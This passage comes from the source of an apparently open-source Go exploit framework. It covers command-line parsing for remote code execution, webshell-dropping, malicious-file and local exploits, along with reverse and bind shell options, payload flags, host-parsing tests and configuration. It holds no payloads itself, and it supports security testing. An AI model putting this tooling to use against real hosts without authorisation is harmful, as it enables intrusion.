reverse shell or bind shell\\n\\n\", conf.Product, conf.CVE)\n\n\t\t// print default usage information\n\t\tflag.PrintDefaults()\n\t}\n\tflag.Parse()\n\n\tif *detailsFlag {\n\t\tprintDetails(conf)\n\n\t\treturn false\n\t}\n\thandleProxyOptions(proxy)\n\n\t// validate remaining command line arguments\n\tsuccess := handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel) &&\n\t\tcommonValidate(conf, rhosts, rports, rhostsFile) && handleRhostsOptions(conf, rhosts, rports, rhostsFile)\n\n\t// validate a reverse shell or bind shell params are correctly specified\n\tif conf.DoExploit {\n\t\tsuccess = validateC2Selection(c2Selection, conf)\n\n\t\tif rhostsFile == \"-\" {\n\t\t\t// this is a pretty dirty check but c2 that use stdin can't be used after piping targets in\n\t\t\tif conf.C2Type == c2.SimpleShellServer || conf.C2Type == c2.SimpleShellClient ||\n\t\t\t\tconf.C2Type == c2.HTTPServeShell || conf.C2Type == c2.SSLShellServer {\n\t\t\t\toutput.PrintFrameworkError(\"Piping targets via stdin cannot be paired with c2 that uses stdin\")\n\t\t\t\tsuccess = false\n\t\t\t}\n\t\t}\n\n\t\tif conf.Bport == 0 && (conf.Lport == 0 || len(conf.Lhost) == 0) && conf.C2Type.Category != c2.ExternalCategory {\n\t\t\toutput.PrintFrameworkError(\"Missing exploitation options (bindshell or reverse shell)\")\n\t\t\tsuccess = false\n\t\t}\n\t\tif conf.Bport != 0 && conf.Lport != 0 {\n\t\t\toutput.PrintFrameworkError(\"User specified both bind shell and reverse shell ports\")\n\t\t\tsuccess = false\n\t\t}\n\t}\n\n\treturn success\n}\n\nfunc InformationDisclosureCmdLineParse(conf *config.Config) bool {\n\tvar rhosts string\n\tvar rhostsFile string\n\tvar rports string\n\tvar logFile string\n\tvar frameworkLogLevel string\n\tvar exploitLogLevel string\n\tvar proxy string\n\n\tdbFlags(conf)\n\tproxyFlags(&proxy)\n\tloggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel)\n\tremoteHostFlags(conf, &rhosts, &rhostsFile, &rports)\n\tlocalHostFlags(conf)\n\texploitFunctionality(conf)\n\tsslFlags(conf)\n\taddPayloadFlags(conf)\n\tdetailsFlag := flag.Bool(\"details\", false, \"Print the implementation details for this exploit\")\n\n\tflag.Usage = func() {\n\t\t// banner explaining what the software is\n\t\tfmt.Printf(\"An exploit for %s %s that can leak sensitive data\\n\\n\", conf.Product, conf.CVE)\n\n\t\t// print default usage information\n\t\tflag.PrintDefaults()\n\n\t\t// usage examples\n\t\tfmt.Println(\"Usage example:\")\n\t\tfmt.Println(\"\\t./exploit -v -c -e -a -rhost 10.12.70.247 -rport 443\")\n\t}\n\tflag.Parse()\n\n\tif *detailsFlag {\n\t\tprintDetails(conf)\n\n\t\treturn false\n\t}\n\thandleProxyOptions(proxy)\n\n\treturn handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel) &&\n\t\tcommonValidate(conf, rhosts, rports, rhostsFile) && handleRhostsOptions(conf, rhosts, rports, rhostsFile)\n}\n\nfunc WebShellCmdLineParse(conf *config.Config) bool {\n\tvar rhosts string\n\tvar rhostsFile string\n\tvar rports string\n\tvar logFile string\n\tvar frameworkLogLevel string\n\tvar exploitLogLevel string\n\tvar proxy string\n\n\tdbFlags(conf)\n\tproxyFlags(&proxy)\n\tloggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel)\n\tremoteHostFlags(conf, &rhosts, &rhostsFile, &rports)\n\tlocalHostFlags(conf)\n\texploitFunctionality(conf)\n\tsslFlags(conf)\n\taddPayloadFlags(conf)\n\tdetailsFlag := flag.Bool(\"details\", false, \"Print the implementation details for this exploit\")\n\n\tflag.Usage = func() {\n\t\t// banner explaining what the software is\n\t\tfmt.Printf(\"An exploit for %s %s that drops a webshell\\n\\n\", conf.Product, conf.CVE)\n\n\t\t// print default usage information\n\t\tflag.PrintDefaults()\n\n\t\t// usage examples\n\t\tfmt.Println(\"Usage example:\")\n\t\tfmt.Println(\"\\t./exploit -v -c -e -a -rhost 10.12.70.247 -rport 443\")\n\t}\n\tflag.Parse()\n\n\tif *detailsFlag {\n\t\tprintDetails(conf)\n\n\t\treturn false\n\t}\n\thandleProxyOptions(proxy)\n\n\treturn handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel) &&\n\t\tcommonValidate(conf, rhosts, rports, rhostsFile) && handleRhostsOptions(conf, rhosts, rports, rhostsFile)\n}\n\nfunc loadFileFormatTemplate(templateFilePath string, conf *config.Config) bool {\n\tif len(templateFilePath) == 0 {\n\t\t// the user doesn't have to provide an -in. There are plenty of scenarios where I could imagine\n\t\t// the template would be embedded in the exploit. That seems fine to me.\n\t\treturn true\n\t}\n\n\tfileTemplate, err := os.Open(templateFilePath)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Failed to open the template file: %s\", err.Error())\n\n\t\treturn false\n\t}\n\tdefer fileTemplate.Close()\n\n\tcontent, err := io.ReadAll(fileTemplate)\n\tif err != nil {\n\t\toutput.PrintfFrameworkError(\"Failed to read the template file: %s\", err.Error())\n\n\t\treturn false\n\t}\n\n\tconf.FileTemplateData = string(content)\n\tif len(conf.FileTemplateData) == 0 {\n\t\toutput.PrintfFrameworkError(\"The template file was empty\")\n\n\t\treturn false\n\t}\n\n\treturn true\n}\n\n// FileFormat doesn't handle any type of remote host configuration. FileFormat exploits just\n// take an -in and -out, where \"in\" is expected to be some type of template and \"out\" is\n// the file to generate.\nfunc FormatFileCmdLineParse(conf *config.Config) bool {\n\tvar logFile string\n\tvar frameworkLogLevel string\n\tvar exploitLogLevel string\n\tvar templateFile string\n\tvar c2Selection string\n\n\tloggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel)\n\tlocalHostFlags(conf)\n\texploitFunctionality(conf)\n\tc2Flags(&c2Selection, conf)\n\taddPayloadFlags(conf)\n\tdetailsFlag := flag.Bool(\"details\", false, \"Print the implementation details for this exploit\")\n\tflag.StringVar(&templateFile, \"in\", \"\", \"The file format template to work with\")\n\tflag.StringVar(&conf.FileFormatFilePath, \"out\", \"\", \"The file to write the malicious file to\")\n\n\tflag.Usage = func() {\n\t\t// banner explaining what the software is\n\t\tfmt.Printf(\"An exploit for %s %s that crafts a malicious file\\n\\n\", conf.Product, conf.CVE)\n\n\t\t// print default usage information\n\t\tflag.PrintDefaults()\n\n\t\t// usage examples\n\t\tfmt.Println(\"Usage example:\")\n\t\tfmt.Println(\"\\t./exploit -e -in <file> -out <file>\")\n\t}\n\tflag.Parse()\n\n\tif *detailsFlag {\n\t\tprintDetails(conf)\n\n\t\treturn false\n\t}\n\n\tif !loadFileFormatTemplate(templateFile, conf) {\n\t\treturn false\n\t}\n\tif len(conf.FileFormatFilePath) == 0 {\n\t\toutput.PrintFrameworkError(\"Must provide an -out parameter\")\n\n\t\treturn false\n\t}\n\tif !conf.DoExploit {\n\t\toutput.PrintFrameworkError(\"Exploitation must be invoked for file format exploits\")\n\n\t\treturn false\n\t}\n\tif conf.DoVerify || conf.DoVersionCheck {\n\t\toutput.PrintFrameworkError(\"Verification and version checking are disabled for file format exploits\")\n\n\t\treturn false\n\t}\n\n\t// must be validate (to set default for payload gen) and then check third party c2\n\tif !validateC2Selection(c2Selection, conf) {\n\t\treturn false\n\t}\n\n\tif conf.Lport == 0 || len(conf.Lhost) == 0 {\n\t\toutput.PrintFrameworkError(\"Missing exploitation options (-Lhost or -Lport)\")\n\n\t\treturn false\n\t}\n\n\treturn handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel)\n}\n\nfunc LocalCmdLineParse(conf *config.Config) bool {\n\tvar logFile string\n\tvar frameworkLogLevel string\n\tvar exploitLogLevel string\n\tvar c2Selection string\n\n\tloggingFlags(&logFile, &frameworkLogLevel, &exploitLogLevel)\n\tlocalHostFlags(conf)\n\texploitFunctionality(conf)\n\tc2Flags(&c2Selection, conf)\n\taddPayloadFlags(conf)\n\tdetailsFlag := flag.Bool(\"details\", false, \"Print the implementation details for this exploit\")\n\n\tflag.Usage = func() {\n\t\t// banner explaining what the software is\n\t\tfmt.Printf(\"An exploit for %s %s that exploits a local vulnerability\\n\\n\", conf.Product, conf.CVE)\n\n\t\t// print default usage information\n\t\tflag.PrintDefaults()\n\n\t\t// usage examples\n\t\tfmt.Println(\"Usage example:\")\n\t\tfmt.Println(\"\\t./exploit -e\")\n\t}\n\tflag.Parse()\n\n\tif *detailsFlag {\n\t\tprintDetails(conf)\n\n\t\treturn false\n\t}\n\n\t// must be validate (to set default for payload gen) and then check third party c2\n\tif !conf.ThirdPartyC2Server && !validateC2Selection(c2Selection, conf) {\n\t\treturn false\n\t}\n\n\t// For LPE exploits that don't need C2 (e.g., info disclosure, token theft), skip lhost/lport check\n\t// if the exploit is configured with no C2 support or third party server\n\tif !conf.ThirdPartyC2Server && len(conf.SupportedC2) > 0 && (conf.Lport == 0 || len(conf.Lhost) == 0) {\n\t\toutput.PrintFrameworkError(\"Missing exploitation options (-lhost or -lport)\")\n\n\t\treturn false\n\t}\n\n\treturn handleLogOptions(logFile, frameworkLogLevel, exploitLogLevel)\n}\n\nfunc addDefaultPayloadFlags(conf *config.Config) (string, string, map[payload.Type]int, []string, []string) {\n\tif len(conf.SupportedPayloads) == 1 {\n\t\tconf.SupportedPayloads[0].Default = payload.Default\n\t}\n\thasDefault := false\n\tdefaultType := \"\"\n\tdefaultArch := \"\"\n\ttypeOptions := []string{}\n\tarchOptions := []string{}\n\tcount := map[payload.Type]int{}\n\tfor i, supported := range conf.SupportedPayloads {\n\t\tswitch supported.Type {\n\t\tcase payload.LinuxCommand,\n\t\t\tpayload.WindowsCommand,\n\t\t\tpayload.WindowsPowerShellCommand,\n\t\t\tpayload.MacCommand,\n\t\t\tpayload.GenericCommand:\n\t\t\t_, exists := conf.StringFlagsMap[\"command\"]\n\t\t\tif !exists {\n\t\t\t\tconf.CreateStringFlag(\"command\", \"\", \"Command to use for the exploit, an empty string will use the exploit default.\")\n\t\t\t}\n\t\tcase payload.LinuxELF,\n\t\t\tpayload.LinuxSO,\n\t\t\tpayload.WindowsEXE,\n\t\t\tpayload.WindowsDLL,\n\t\t\tpayload.Webshell:\n\t\t\t_, exists := conf.StringFlagsMap[\"payload\"]\n\t\t\tif !exists {\n\t\t\t\tconf.CreateStringFlag(\"payload\", \"\", \"Path to load custom payload from, an empty string will use the exploit default.\")\n\t\t\t}\n\t\tcase payload.UnspecifiedType:\n\t\t\toutput.PrintFrameworkError(\"Unspecified payload type used\")\n\t\tdefault:\n\t\t\toutput.PrintFrameworkError(\"Unexpected payload type used\")\n\t\t}\n\n\t\tcount[supported.Type]++\n\t\ttypeOptions = append(typeOptions, supported.Type.String())\n\t\tarchOptions = append(archOptions, supported.Arch.String())\n\t\tif i == 0 && len(conf.SupportedPayloads) == 1 {\n\t\t\tdefaultType = supported.Type.String()\n\t\t\tdefaultArch = supported.Arch.String()\n\n\t\t\tcontinue\n\t\t}\n\t\tif hasDefault && supported.Default == payload.Default {\n\t\t\toutput.PrintfFrameworkWarn(\"Multiple default payloads selected, using the first and skipping: %s\", supported.Type.String())\n\n\t\t\tcontinue\n\t\t}\n\t\tif !hasDefault && supported.Default == payload.Default {\n\t\t\tdefaultType = supported.Type.String()\n\t\t\tdefaultArch = supported.Arch.String()\n\t\t}\n\t}\n\n\treturn defaultType, defaultArch, count, typeOptions, archOptions\n}\n\n// Adds default flags for payload types, this allows classes of payloads that are supported to\n// use globally defined command line flags without having to redefine them each exploit.\nfunc addPayloadFlags(conf *config.Config) {\n\tif conf.PayloadFlags {\n\t\tdefaultType, defaultArch, count, typeOptions, archOptions := addDefaultPayloadFlags(conf)\n\t\tif len(conf.SupportedPayloads) > 1 {\n\t\t\tif defaultType == \"\" {\n\t\t\t\toutput.PrintFrameworkError(\"No default payload type was defined.\")\n\t\t\t}\n\t\t\tconf.CreateStringFlag(\"payload-type\", defaultType, \"Payload type to use based on supported types: \"+strings.Join(typeOptions, \", \"))\n\t\t\tfor _, v := range count {\n\t\t\t\tif v > 1 {\n\t\t\t\t\tconf.CreateStringFlag(\"payload-arch\", defaultArch, \"Payload architecture to use based on supported archs: \"+strings.Join(archOptions, \", \"))\n\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "cli/commandline_test.go",
    "content": "package cli\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2\"\n\t\"github.com/vulncheck-oss/go-exploit/config\"\n)\n\nfunc TestCodeExecutionCmdLineParse(t *testing.T) {\n\tconf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, \"test product\", \"CVE-2023-1270\", 1270)\n\tconf.Rhost = \"rcetest\"\n\n\tsuccess := CodeExecutionCmdLineParse(conf)\n\n\tif conf.Rhost != \"\" {\n\t\tt.Fatal(\"Rhost should have no default value\")\n\t}\n\tif conf.Rport != 1270 {\n\t\tt.Fatal(\"Rport should default to passed in value\")\n\t}\n\tif conf.SSL != false {\n\t\tt.Fatal(\"SSL should default to false\")\n\t}\n\tif conf.DoVerify != false {\n\t\tt.Fatal(\"verify should default to false\")\n\t}\n\tif conf.DoVersionCheck != false {\n\t\tt.Fatal(\"version check should default to false\")\n\t}\n\tif conf.DoExploit != false {\n\t\tt.Fatal(\"exploit should default to false\")\n\t}\n\tif success != false {\n\t\tt.Fatal(\"parsing should have failed\")\n\t}\n\tif conf.ThirdPartyC2Server != false {\n\t\tt.Fatal(\"outside should default to false\")\n\t}\n\tif conf.C2Timeout != 30 {\n\t\tt.Fatal(\"timeout should default to 30\")\n\t}\n}\n\nfunc TestCommonValidate(t *testing.T) {\n\tconf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, \"test product\", \"CVE-2023-1270\", 1270)\n\tvar rhosts string\n\tvar rports string\n\tvar rhostsFile string\n\n\tif commonValidate(conf, rhosts, rports, rhostsFile) {\n\t\tt.Fatal(\"commonValidate should fail with an empty Rhost\")\n\t}\n\n\tconf.Rhost = \"10.9.49.99\"\n\tif commonValidate(conf, rhosts, rports, rhostsFile) {\n\t\tt.Fatal(\"commonValidate should fail with no supplied action\")\n\t}\n\n\tconf.DoVerify = true\n\tif !commonValidate(conf, rhosts, rports, rhostsFile) {\n\t\tt.Fatal(\"commonValidate should succeed with rhost, rport, and doVerify\")\n\t}\n\n\tconf.Rhost = \"\"\n\tif !commonValidate(conf, \"127.0.0.1\", \"1270,1280\", rhostsFile) {\n\t\tt.Fatal(\"commonValidate should have succeeded\")\n\t}\n\n\tif !commonValidate(conf, \"127.0.0.1,127.0.0.2\", rports, rhostsFile) {\n\t\tt.Fatal(\"commonValidate have succeeded\")\n\t}\n}\n\nfunc TestRhostsParsing(t *testing.T) {\n\tconf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, \"test product\", \"CVE-2023-1270\", 1270)\n\n\tif !handleRhostsOptions(conf, \"127.0.0.1,127.0.0.2\", \"80,443\", \"\") {\n\t\tt.Fatal(\"commonValidate should succeed\")\n\t}\n\tif len(conf.RhostsNTuple) != 4 {\n\t\tt.Fatal(\"Failed to parse rhosts\")\n\t}\n\tif conf.RhostsNTuple[0].Rhost != \"127.0.0.1\" || conf.RhostsNTuple[1].Rhost != \"127.0.0.1\" ||\n\t\tconf.RhostsNTuple[2].Rhost != \"127.0.0.2\" || conf.RhostsNTuple[3].Rhost != \"127.0.0.2\" {\n\t\tt.Fatal(\"Failed to parse rhosts\")\n\t}\n\tif conf.RhostsNTuple[0].Rport != 80 || conf.RhostsNTuple[1].Rport != 443 {\n\t\tt.Fatal(\"Failed to parse rports\")\n\t}\n\tconf.RhostsNTuple = make([]config.RhostTriplet, 0)\n\n\tif !handleRhostsOptions(conf, \"127.0.0.3\", \"443\", \"\") {\n\t\tt.Fatal(\"commonValidate should succeed\")\n\t}\n\tif len(conf.RhostsNTuple) != 1 {\n\t\tt.Fatal(\"Failed to parse rhosts\")\n\t}\n\tif conf.RhostsNTuple[0].Rhost != \"127.0.0.3\" {\n\t\tt.Fatal(\"Failed to parse rhosts\")\n\t}\n\tif conf.RhostsNTuple[0].Rport != 443 {\n\t\tt.Fatal(\"Failed to parse rports\")\n\t}\n\tconf.RhostsNTuple = make([]config.RhostTriplet, 0)\n\n\tconf.Rhost = \"127.0.0.4\"\n\tif !handleRhostsOptions(conf, \"\", \"443,80,8080\", \"\") {\n\t\tt.Fatal(\"commonValidate should succeed\")\n\t}\n\tif len(conf.RhostsNTuple) != 3 {\n\t\tt.Fatal(\"Failed to parse rhosts\")\n\t}\n\tif conf.RhostsNTuple[0].Rhost != \"127.0.0.4\" {\n\t\tt.Fatal(\"Failed to parse rhosts\")\n\t}\n\tif conf.RhostsNTuple[0].Rport != 443 {\n\t\tt.Fatal(\"Failed to parse rports\")\n\t}\n\tif conf.RhostsNTuple[1].Rport != 80 {\n\t\tt.Fatal(\"Failed to parse rports\")\n\t}\n\tif conf.RhostsNTuple[2].Rport != 8080 {\n\t\tt.Fatal(\"Failed to parse rports\")\n\t}\n\tconf.Rhost = \"\"\n\n\tconf.RhostsNTuple = make([]config.RhostTriplet, 0)\n\tif !handleRhostsOptions(conf, \"192.168.1.0/24\", \"80\", \"\") {\n\t\tt.Fatal(\"commonValidate should succeed\")\n\t}\n\tif len(conf.RhostsNTuple) != 256 {\n\t\tt.Fatal(\"Failed to parse rhosts\")\n\t}\n\n\tconf.RhostsNTuple = make([]config.RhostTriplet, 0)\n\tif !handleRhostsOptions(conf, \"192.168.1.0/24\", \"80,8080\", \"\") {\n\t\tt.Fatal(\"commonValidate should succeed\")\n\t}\n\tif len(conf.RhostsNTuple) != 512 {\n\t\tt.Fatal(\"Failed to parse rhosts\")\n\t}\n}\n\nfunc TestParseTuple(t *testing.T) {\n\tconf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, \"test product\", \"CVE-2023-1270\", 1270)\n\n\tif !parseTuple(conf, \"example.com:80\") {\n\t\tt.Fatal(\"ParseTuple should succeed\")\n\t}\n\tif len(conf.RhostsNTuple) != 1 {\n\t\tt.Fatal(\"Missing Rhosts entry\")\n\t}\n\tif conf.RhostsNTuple[0].Rport != 80 {\n\t\tt.Fatal(\"Invalid tuple parsing\")\n\t}\n\tif conf.RhostsNTuple[0].Rhost != \"example.com\" {\n\t\tt.Fatal(\"Invalid tuple parsing\")\n\t}\n\n\tconf.RhostsNTuple = make([]config.RhostTriplet, 0)\n\tif parseTuple(conf, \"example.com\") {\n\t\tt.Fatal(\"ParseTuple should have failed\")\n\t}\n\tif parseTuple(conf, \"example.com:hi\") {\n\t\tt.Fatal(\"ParseTuple should have failed\")\n\t}\n\n\tif !parseTuple(conf, \"127.0.0.5:8080\") {\n\t\tt.Fatal(\"ParseTuple should succeed\")\n\t}\n\tif len(conf.RhostsNTuple) != 1 {\n\t\tt.Fatal(\"Missing Rhosts entry\")\n\t}\n\tif conf.RhostsNTuple[0].Rport != 8080 {\n\t\tt.Fatal(\"Invalid tuple parsing\")\n\t}\n\tif conf.RhostsNTuple[0].Rhost != \"127.0.0.5\" {\n\t\tt.Fatal(\"Invalid tuple parsing\")\n\t}\n\n\tconf.RhostsNTuple = make([]config.RhostTriplet, 0)\n\tif !parseTuple(conf, \"fe80::1b8c:b574:ebec:81c0:65531\") {\n\t\tt.Fatal(\"ParseTuple should succeed\")\n\t}\n\tif len(conf.RhostsNTuple) != 1 {\n\t\tt.Fatal(\"Missing Rhosts entry\")\n\t}\n\tif conf.RhostsNTuple[0].Rport != 65531 {\n\t\tt.Fatal(\"Invalid tuple parsing\")\n\t}\n\tif conf.RhostsNTuple[0].Rhost != \"fe80::1b8c:b574:ebec:81c0\" {\n\t\tt.Fatal(\"Invalid tuple parsing\")\n\t}\n}\n\nfunc TestParseTriplet(t *testing.T) {\n\tconf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, \"test product\", \"CVE-2023-1270\", 1270)\n\n\tif !parseTriplet(conf, \"example.com,80,\") {\n\t\tt.Fatal(\"parseTriplet should succeed\")\n\t}\n\tif len(conf.RhostsNTuple) != 1 {\n\t\tt.Fatal(\"Missing Rhosts entry\")\n\t}\n\tif conf.RhostsNTuple[0].Rport != 80 {\n\t\tt.Fatal(\"Invalid triplet parsing\")\n\t}\n\tif conf.RhostsNTuple[0].Rhost != \"example.com\" {\n\t\tt.Fatal(\"Invalid triplet parsing\")\n\t}\n\n\tconf.RhostsNTuple = make([]config.RhostTriplet, 0)\n\tif parseTriplet(conf, \"example.com,,\") {\n\t\tt.Fatal(\"parseTriplet should have failed\")\n\t}\n\tif parseTriplet(conf, \"example.commhi,\") {\n\t\tt.Fatal(\"parseTriplet should have failed\")\n\t}\n\n\tif !parseTriplet(conf, \"127.0.0.3,8080,\") {\n\t\tt.Fatal(\"parseTriplet should succeed\")\n\t}\n\tif len(conf.RhostsNTuple) != 1 {\n\t\tt.Fatal(\"Missing Rhosts entry\")\n\t}\n\tif conf.RhostsNTuple[0].Rport != 8080 {\n\t\tt.Fatal(\"Invalid triplet parsing\")\n\t}\n\tif conf.RhostsNTuple[0].Rhost != \"127.0.0.3\" {\n\t\tt.Fatal(\"Invalid triplet parsing\")\n\t}\n\n\tconf.RhostsNTuple = make([]config.RhostTriplet, 0)\n\tif !parseTriplet(conf, \"fe80::1b8c:b574:ebec:81c0,65531,\") {\n\t\tt.Fatal(\"parseTriplet should succeed\")\n\t}\n\tif len(conf.RhostsNTuple) != 1 {\n\t\tt.Fatal(\"Missing Rhosts entry\")\n\t}\n\tif conf.RhostsNTuple[0].Rport != 65531 {\n\t\tt.Fatal(\"Invalid triplet parsing\")\n\t}\n\tif conf.RhostsNTuple[0].Rhost != \"fe80::1b8c:b574:ebec:81c0\" {\n\t\tt.Fatal(\"Invalid triplet parsing\")\n\t}\n}\n\nfunc TestParseIntelJSON(t *testing.T) {\n\tconf := config.New(config.CodeExecution, []c2.Impl{c2.SimpleShellServer}, \"test product\", \"CVE-2023-1270\", 1270)\n\n\tintel := `{\"ip\":\"10.9.49.2\",\"port\":80,\"ssl\":false,\"lastSeen\":\"2024-02-18T23:56:34.454071\",\"asn\":\"AS33915\",\"country\":\"Netherlands\",\"country_code\":\"NL\",\"city\":\"Hoofddorp\",\"cve\":[\"CVE-2021-36260\"],\"matches\":[\"Hikvision IP Camera Web Language Command Injection\"],\"hostnames\":[\"89-220-147-28.cable.dynamic.v4.ziggo.nl\"],\"type\":{\"id\":\"initial-access\",\"finding\":\"potentially vulnerable\"},\"feed_ids\":[\"a65d5009-f84b-4c3d-8803-1f8b1246ddeb\"]}`\n\n\tif !parseIPIntel(conf, intel) {\n\t\tt.Fatal(\"parseTriplet should succeed\")\n\t}\n\tif len(conf.RhostsNTuple) != 1 {\n\t\tt.Fatal(\"Missing Rhosts entry\")\n\t}\n\tif conf.RhostsNTuple[0].Rport != 80 {\n\t\tt.Fatal(\"Invalid triplet parsing\")\n\t}\n\tif conf.RhostsNTuple[0].Rhost != \"10.9.49.2\" {\n\t\tt.Fatal(\"Invalid triplet parsing\")\n\t}\n\tif conf.RhostsNTuple[0].SSL != config.SSLDisabled {\n\t\tt.Fatal(\"Invalid triplet parsing\")\n\t}\n\n\tconf.RhostsNTuple = make([]config.RhostTriplet, 0)\n\tintel = `{\"ip\":\"fe80::1b8c:b574:ebec:81c8\",\"port\":81,\"ssl\":true,\"lastSeen\":\"2024-02-18T23:56:34.454071\",\"asn\":\"AS33915\",\"country\":\"Netherlands\",\"country_code\":\"NL\",\"city\":\"Hoofddorp\",\"cve\":[\"CVE-2021-36260\"],\"matches\":[\"Hikvision IP Camera Web Language Command Injection\"],\"hostnames\":[\"89-220-147-28.cable.dynamic.v4.ziggo.nl\"],\"type\":{\"id\":\"initial-access\",\"finding\":\"potentially vulnerable\"},\"feed_ids\":[\"a65d5009-f84b-4c3d-8803-1f8b1246ddeb\"]}`\n\tif !parseIPIntel(conf, intel) {\n\t\tt.Fatal(\"parseTriplet should succeed\")\n\t}\n\tif len(conf.RhostsNTuple) != 1 {\n\t\tt.Fatal(\"Missing Rhosts entry\")\n\t}\n\tif conf.RhostsNTuple[0].Rport != 81 {\n\t\tt.Fatal(\"Invalid triplet parsing\")\n\t}\n\tif conf.RhostsNTuple[0].Rhost != \"fe80::1b8c:b574:ebec:81c8\" {\n\t\tt.Fatal(\"Invalid triplet parsing\")\n\t}\n\tif conf.RhostsNTuple[0].SSL != config.SSLEnabled {\n\t\tt.Fatal(\"Invalid triplet parsing\")\n\t}\n}\n\nfunc TestFileFormatParams(t *testing.T) {\n\tconf := config.NewLocal(config.FileFormat, []c2.Impl{}, \"test product\", \"CVE-2023-1270\")\n\tif !loadFileFormatTemplate(\"\", conf) {\n\t\tt.Fatal(\"an empty file path should pass validation\")\n\t}\n\tif !loadFileFormatTemplate(\"commandline_test.go\", conf) {\n\t\tt.Fatal(\"failed to load the file format template\")\n\t}\n\tif !strings.Contains(conf.FileTemplateData, \"TestFileFormatParams\") {\n\t\tt.Fatal(\"failed to load the file format template\")\n\t}\n}\n"
  },
  {
    "path": "config/config.go",
    "content": "// Exploit and framework configuration.\npackage config\n\nimport (\n\t\"bytes\"\n\t\"flag\"\n\t\"fmt\"\n\t\"strings\"\n\t\"text/template\"\n\n\t\"github.com/vulncheck-oss/go-exploit/c2\"\n\t\"github.com/vulncheck-oss/go-exploit/c2/shelltunnel\"\n\t\"github.com/vulncheck-oss/go-exploit/output\"\n\t\"github.com/vulncheck-oss/go-exploit/payload\"\n\t\"github.com/vulncheck-oss/go-exploit/protocol\"\n)\n\ntype ExploitType int\n\nconst (\n\tCodeExecution         ExploitType = 0\n\tInformationDisclosure ExploitType = 1\n\tWebshell              ExploitType = 2\n\tFileFormat            ExploitType = 3\n\tLocal                 ExploitType = 4\n)\n\ntype ImplementedFeatures struct {\n\tAssetDetection  bool\n\tVersionScanning bool\n\tExploitation    bool\n}\n\ntype SSLSupport int\n\nconst (\n\tSSLDisabled     SSLSupport = 0\n\tSSLEnabled      SSLSupport = 1\n\tSSLAutodiscover SSLSupport = 2\n)\n\ntype RhostTriplet struct {\n\tRhost string\n\tRport int\n\tSSL   SSLSupport\n}\n\n// The config struct contains a mix of module specified configurations\n// and user specified configurations. The Config struct is first generated\n// by the exploit implementation and then modified by option parsing.\ntype Config struct {\n\t// the following are values configured by the exploit module\n\n\t// implemented features describes which three stages the exploit implements\n\tImpl ImplementedFeatures\n\t// the vendor of the targeted product\n\tVendor string\n\t// the targeted products\n\tProducts []string\n\t// A combination of the Vendor and Products strings\n\tProduct string\n\t// the CPE for the targeted product\n\tCPE []string\n\t// the CVE being tested\n\tCVE string\n\t// the protocol being targeted\n\tProtocol string\n\t// the type of exploit being executed\n\tExType ExploitType\n\t// the c2 supported by the exploit\n\tSupportedC2 []c2.Impl\n\t// the payload types that are supported by the exploit\n\tSupportedPayloads []payload.Supported\n\t// whether to parse payload flags\n\tPayloadFlags    bool\n\tSelectedPayload payload.Supported\n\tCustomPayload   []byte\n\n\t// Some exploits need to define custom flags. Use the Create*Flag functions\n\t// to store them in the following data structures. They can then be fetched\n\t// using the Get*Flag functions\n\n\tStringFlagsMap map[string]*string\n\tIntFlagsMap    map[string]*int\n\tUintFlagsMap   map[string]*uint\n\tBoolFlagsMap   map[string]*bool\n\n\t// the following are values configured by the user\n\n\t// target host, the target address/name the exploit will work on\n\tRhost string\n\t// target port, the target port the exploit will work on\n\tRport int\n\t// a list of specific targets\n\tRhostsNTuple []RhostTriplet\n\t// local host for remote exploits\n\tLhost string\n\t// local port\n\tLport int\n\t// bind port\n\tBport int\n\t// indicates if the framework should autodetect ssl/plain\n\tDetermineSSL bool\n\t// indicates if ssl is used in comms\n\tSSL bool\n\t// indicates if we run the target verify\n\tDoVerify bool\n\t// indicates if we run the version check\n\tDoVersionCheck bool\n\t// indicates if we run the exploit\n\tDoExploit bool\n\t// automatically start the c2 or not\n\tC2AutoStart bool\n\t// the user requested c2 to use\n\tC2Type c2.Impl\n\t// C2 server timeout\n\tC2Timeout int\n\t// Indicates if the c2 server will be handled elsewhere\n\tThirdPartyC2Server bool\n\t// The database we are working with\n\tDBName string\n\t// File format template\n\tFileTemplateData string\n\t// File format exploit output\n\tFileFormatFilePath string\n}\n\n// Convert ExploitType to String.\nfunc (eType ExploitType) String() string {\n\tswitch eType {\n\tcase CodeExecution:\n\t\treturn \"CodeExecution\"\n\tcase InformationDisclosure:\n\t\treturn \"InformationDisclosure\"\n\tcase Webshell:\n\t\treturn \"Webshell\"\n\tcase FileFormat:\n\t\treturn \"FileFormat\"\n\tcase Local:\n\t\treturn \"Local\"\n\tdefault:\n\t\treturn \"Invalid exploit type\"\n\t}\n}\n\n// Deprecated: New does not affectively describe the affected/targeted product. Use NewRemoteExploit.\nfunc New(extype ExploitType, supportedC2 []c2.Impl, product string, cve string, defaultPort int) *Config {\n\treturnVal := new(Config)\n\treturnVal.ExType = extype\n\treturnVal.SupportedC2 = supportedC2\n\treturnVal.Product = product\n\treturnVal.CVE = cve\n\treturnVal.Rport = defaultPort\n\treturnVal.PayloadFlags = false\n\n\treturn returnVal\n}\n\n// Deprecated: NewLocal does not affectively describe the affected/targeted product. Use NewLocalExploit.\nfunc NewLocal(extype ExploitType, supportedC2 []c2.Impl, product string, cve string) *Config {\n\treturnVal := new(Config)\n\treturnVal.ExType = extype\n\treturnVal.SupportedC2 = supportedC2\n\treturnVal.Product = product\n\treturnVal.CVE = cve\n\treturnVal.PayloadFlags = false\n\n\treturn returnVal\n}\n\n// Defines a new remote exploit and associates with CVE/Product/Protocol metadata. Usage example:\n//\n//\tconf := config.NewRemoteExploit(\n//\t  config.ImplementedFeatures{AssetDetection: true, VersionScanning: true, 